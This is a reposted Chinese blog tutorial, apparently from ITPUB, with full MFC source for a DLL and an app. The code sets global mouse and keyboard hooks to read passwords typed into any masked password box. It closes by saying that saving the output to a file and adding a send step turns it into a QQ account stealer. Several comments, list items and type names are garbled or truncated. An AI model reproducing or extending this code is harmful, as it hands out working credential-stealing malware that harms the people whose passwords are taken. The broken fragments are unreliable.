利用滑鼠鍵盤鉤子截獲密碼。 (轉)
利用滑鼠鍵盤鉤子截獲密碼。
原始碼示例:/soft/GetPass_Src.rar">
鉤子能截獲並得理髮送給其它應用的訊息,能完成一般程式無法完成的功能。掌握鉤子的方法是很有必要的
鉤子分類 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以監視傳送到視窗過程的訊息
3、WH_DE 鉤子
4、WH_FOREGROUNDIDLE 噹噹應用程式的前臺執行緒大概要變成空閒狀態時,系統就會 WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 監視和記錄輸入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD記錄事件
7、WH_KEYBOARD 鍵盤鉤子
9、WH_KEYBOARD_LL 低層鍵盤鉤子
10、WH_MOUSE 滑鼠鉤子
11、WH_MOUSE_LL 底層滑鼠鉤子
12、WH_ 外殼鉤子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我們可以監視選單,捲軸,訊息框等
鉤子:
呼叫SetHookEx安裝鉤子。其函式原型為:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,D dwThreadId )
idHook表示鉤子型別,它是和鉤子函式型別一一對應的。如,WH_KEYBOARD,WH_MOUSE。
Lpfn是鉤子函式的地址。
HMod是鉤子函式所在的例項的控制程式碼。對於執行緒鉤子,該引數為NULL;對於系統鉤子,該引數為鉤子函式所在的DLL控制程式碼。 (系統鉤子必須在DLL中)
dwThreadId 指定鉤子所監視的執行緒的執行緒號。對於全域性鉤子,該引數為NULL。
SetWindowsHookEx返回所安裝的鉤子控制程式碼。
解除安裝鉤子
呼叫函式 BOOL UnhookWindowsHookEx( HHOOK hhk)解除安裝鉤子
定義鉤子函式
鉤子函式是一種特殊的回撥函式。鉤子監視的特定事件發生後,系統會呼叫鉤子函式進行處理。一般為下:
LRESULT WIN MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)
引數wParam和 lParam包含所鉤訊息的資訊,比如滑鼠位置、狀態,鍵盤按鍵等。nCode包含有關訊息本身的信,比如是否從訊息佇列中移出。
例項:
下面我們透過安裝滑鼠鉤子。和鍵盤鉤子還截獲輸入的密碼,並可檢視*密碼為例,來說明何何使用鉤子。
1,進入嚮導,新建MFC AppWizard(dll) 取名為GetPass,選擇MFC Extension DLL,完成。
2,新建一個CGetPassHook 類,基類:C,並加入StartHook,StopHook,函式,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject
{
public:
BOOL StopHook();
BOOL StartHook(HWND hwnd);
CGetPassHook();
virtual ~CGetPassHook();
};
3:加入全域性共享資料,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL; hook
HHOOK hMouseHook=NULL; hook
HINSTANCE glhInstance=NULL; instance
HWND hOutPutWnd=NULL; Pass Wnd
#pragma data_seg()
4:加入滑鼠,鍵盤鉤子處理函式,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{ 標鉤子得理函式
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
if(nCode>=0)
{
HWND hTargetHwnd=lpMouse->hwnd; 到滑鼠所在視窗控制程式碼
if(hTargetHwnd)
{
LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); 到它的樣式
if(style&ES_PASSWORD) 果是密碼框
{
char szPass[255];
::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
到密碼
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
示密碼
}
}
}
return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
上這句,就可以繼續傳遞訊息,如果沒有,則會取消此訊息的傳遞,
以起到截兒訊息的目的,我們這裡呼叫之。
}
LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{ hook proc
if(nCode>=0)
{
HWND hTargetHwnd=GetActiveWindow(); active window
if(hTargetHwnd)
EnumChildWindows(hTargetHwnd,EnumWndProc,0); 舉所有視窗
}
return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
上這句,就可以繼續傳遞訊息,如果沒有,則會取消此訊息的傳遞,
以起到截兒訊息的目的,我們這裡呼叫之。
}
這裡要介紹下EnumChildWindows函式,原形如下:
BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
hWndParent:為列舉視窗的控制程式碼
lpEnumFunc:列舉函式的地址,
lParam:這裡為0
5:加入列舉視窗的函式。如下:(注意,因為前面的函式據要用到此函式,所以要麼在前面宣告,要麼放在上面函式之前定義。
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{ the child window,find passedit
if(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE); 到STYLE
if(style&ES_PASSWORD) 密碼框
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); 到PASS
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); 示
return TRUE;
}
}
return TRUE;
}
6:在DEF中定義段屬性: (這步很重要)
SECTIONS
mydata READ WRITE SHARED
7:完成StartHook,StopHook函式,啟動/關閉鉤子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{ hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
hook
if(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; 示密碼的控制程式碼
return TRUE;
}
return FALSE;
}
BOOL CGetPassHook::StopHook()
{ hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
if(mHook&&kHook)
return TRUE;
return FALSE;
}
8:在DLLMAIN函式中得到DLL控制程式碼,要用到glhInstance變數,因此要加入一句,如下:
extern HINSTANCE glhInstance; 得這裡
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("GETPASS.DLL Initializing!n");
if (!AfxInitExtensionModule(GetPassDLL, hInstance))
return 0;
new CDynLinkLibrary(GetPassDLL);
glhInstance=hInstance; 到控制程式碼
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("GETPASS.DLL Tenating!n");
AfxTermExtensionModule(GetPassDLL);
}
return 1; // ok
}
9:編譯,完成DLL部分,
下面建立APP部分。如下:
1:新建MFC AppWizard(exe)命名為GetPassWord,並在第一步中選擇Add to Current WorkSpace加入到當前工作區,這樣方便。
2:將剛才的DLL中的GetPass.lib,和GetPassHook.h複製APP所在目錄,然後Project->Add to Project-->Files
選擇這兩個檔案。
2:在主對話方塊中,加入一個EDIT,ID 為IDC_EDIT_PASS
3:在CGetPassWordDlg.h中包含GetPassHook.h檔案,宣告一個。如下:
#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
CGetPassHook m_hook;
。。。
DECLARE_MESSAGE_MAP()
};
4:在實現檔案中:OnInitDialog()中起動HOOK
BOOL CGetPassWordDlg::OnInitDialog()
{
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
m_hook.StartHook(pWnd->GetSafeHwnd()); hook
return TRUE; // return TRUE unless you set the focus to a control
}
5:加入WM_DESTROY訊息,在退出程式時停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
CDialog::OnDestroy();
m_hook.StopHook(); hook
}
6:將GetPass.dll複製到。EXE一個目錄下,
7:編譯,執行.
這樣,你在輸入任何密碼框輸入密碼時,密碼都將截獲。就算鍵盤HOOK失效,移動滑鼠到密碼框,也都獲取*號密碼,因為我們安裝兩個HOOK。啟動qq,輸入密碼,試下看是否已經截獲了密碼?將本程式稍做修改,將截獲的密碼輸出到檔案,並加入傳送攻能,一個QQ盜號器就做成了。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752019/viewspace-985569/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 利用滑鼠鉤子獲得Win2000密碼框密碼密碼
- 利用鍵盤鉤子在Windows平臺下捕獲鍵盤動作 (轉)Windows
- C#實現滑鼠、鍵盤鉤子C#
- 利用鍵盤鉤子開發按鍵發音程式 (轉)
- 利用鍵盤鉤子開發按鍵發音程式
- 利用鉤子函式來捕捉鍵盤響應的windows應用程式函式Windows
- VC:滑鼠鉤子函式函式
- jquery中利用事件屬性which輕鬆獲取鍵盤和滑鼠鍵值jQuery事件
- 簡單實現[BCB5]:鍵盤全域性鉤子[Hook],監視多程式鍵盤操作。 (轉)Hook
- 滑鼠、鍵盤事件事件
- VB無所不能之三:VB截獲Windows訊息的鉤子薦Windows
- 電腦鍵盤怎麼代替滑鼠 win10鍵盤代替滑鼠Win10
- 鍵盤控制滑鼠 windows QtWindowsQT
- js獲取鍵盤按鍵的碼值JS
- WINDOWS鉤子函式(轉)Windows函式
- 利用熱鍵控制滑鼠移動的一個程式 (轉)
- js捕獲鍵盤按鍵程式碼例項JS
- 遮蔽系統熱鍵鉤子Hook程式Hook
- 鍵盤滑鼠共享效率工具-Synergy
- Linux 虛擬滑鼠,鍵盤Linux
- c++ 鍵盤/滑鼠互動C++
- 鍵盤滑鼠一起失靈怎麼辦 win10滑鼠鍵盤同時失靈鍵盤滑鼠一起失靈怎麼辦 win10滑鼠鍵盤同時失靈Win10
- 系統鉤子的使用 (轉)
- js獲取鍵盤按鍵值程式碼例項JS
- 鍵盤滑鼠一起失靈怎麼辦 win10滑鼠鍵盤同時失靈鍵盤滑鼠一起失靈怎麼辦Win10
- Mac 鍵盤與滑鼠的對映Mac
- tkinter中滑鼠與鍵盤事件(十五)事件
- AngularJs 鍵盤事件和滑鼠事件AngularJS事件
- jQuery 事件(一) 滑鼠與鍵盤事件jQuery事件
- java全域性滑鼠鍵盤監聽Java
- win10滑鼠鍵盤沒反應怎麼辦_win10滑鼠鍵盤失靈一鍵修復Win10
- 攻防世界-告述你個秘密(鍵盤密碼)密碼
- 防止密碼被非法獲取 (轉)密碼
- Qt 介面獲取鍵盤Enter鍵QT
- USB驅動程式之滑鼠用做鍵盤
- 開啟win7鍵盤滑鼠鍵的步驟Win7
- 一張截圖概括父、子、孫元件事件鉤子的執行順序元件事件
- Mac OS X 10.2 不用滑鼠+ 使用鍵盤重新開/關機(轉)Mac